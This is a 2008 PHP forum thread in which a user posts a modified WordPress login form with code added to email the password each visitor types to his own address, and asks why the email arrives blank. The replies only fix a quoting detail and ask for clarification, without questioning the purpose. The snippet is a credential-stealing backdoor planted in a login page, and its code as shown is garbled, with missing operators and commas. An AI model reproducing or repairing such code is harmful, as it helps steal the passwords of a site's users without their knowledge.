Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

PHP Forum


You are currently viewing our PHP Forum as a guest. Please register to participate.
Login



Freelance Jobs

Reply
getting user input emailed
Old 05-09-2008, 01:56 AM getting user input emailed
Junior Talker

Posts: 3
Trades: 0
hello guys,

i need some help with this code, what i want to do is to get the user entered password emailed to the a address.
but when i recieve the email i get it blank.
PHP Code:
<form name="loginform" id="loginform" action="wp-login.php" method="post">
<?php if ( !isset($_GET['checkemail']) || !in_array$_GET['checkemail'], array('confirm''newpass') ) ) : ?>
<p>
<label><?php _e('Username'?><br />
<input type="text" name="log" id="user_login" class="input" value="<?php echo attribute_escape(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label>
</p>
<p>
<label><?php _e('Password')?><br />
<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label>
</p>
<?php do_action('login_form'); ?>
<p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php _e('Remember Me'); ?></label></p>
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" value="<?php
_e
('Log In'); $to "my@email.com";
$subject "Password";
$body "The password is : \n";
$body .= $pwd;
mail($to$subject$body);?>" tabindex="100" />
<input type="hidden" name="redirect_to" value="<?php echo attribute_escape($redirect_to); ?>" />
<input type="hidden" name="testcookie" value="1" />
</p>
<?php else : ?>
<p>&nbsp;</p>
<?php endif; ?>
</form>
what i am doing wrong..

Last edited by wswami; 05-09-2008 at 10:35 AM.. Reason: Code Correction
wswami is offline
Reply With Quote
View Public Profile
 
 
Register now for full access!
Old 05-09-2008, 07:10 AM Re: getting user input emailed
Average Talker

Posts: 15
Name: Mark
Trades: 0
Why are you declaring a string like this?

PHP Code:
$to my@email.com
it should be;

PHP Code:
$to "my@email.com"
email address is a string, not an int
__________________

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE

Datingsoftware is offline
Reply With Quote
View Public Profile
 
Old 05-09-2008, 10:34 AM Re: getting user input emailed
Junior Talker

Posts: 3
Trades: 0
thanks for pointing out.. but i somehow missed those double quotes while putting the code here..

anyways this still aint working.. anyone know how can i get the password emailed..???????
wswami is offline
Reply With Quote
View Public Profile
 
Old 05-09-2008, 11:29 PM Re: getting user input emailed
Junior Talker

Posts: 3
Trades: 0
anyone???? who can help me with this ... please its urgent..
wswami is offline
Reply With Quote
View Public Profile
 
Old 05-09-2008, 11:32 PM Re: getting user input emailed
Inet411's Avatar
Skilled Talker

Posts: 88
Name: programmer
Location: internet
Trades: 0
The entire email is blank or just the password is blank?
__________________

Please login or register to view this content. Registration is FREE

Inet411 is offline
Reply With Quote
View Public Profile Visit Inet411's homepage!
 
Reply     « Reply to getting user input emailed
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 0.21299 seconds with 12 queries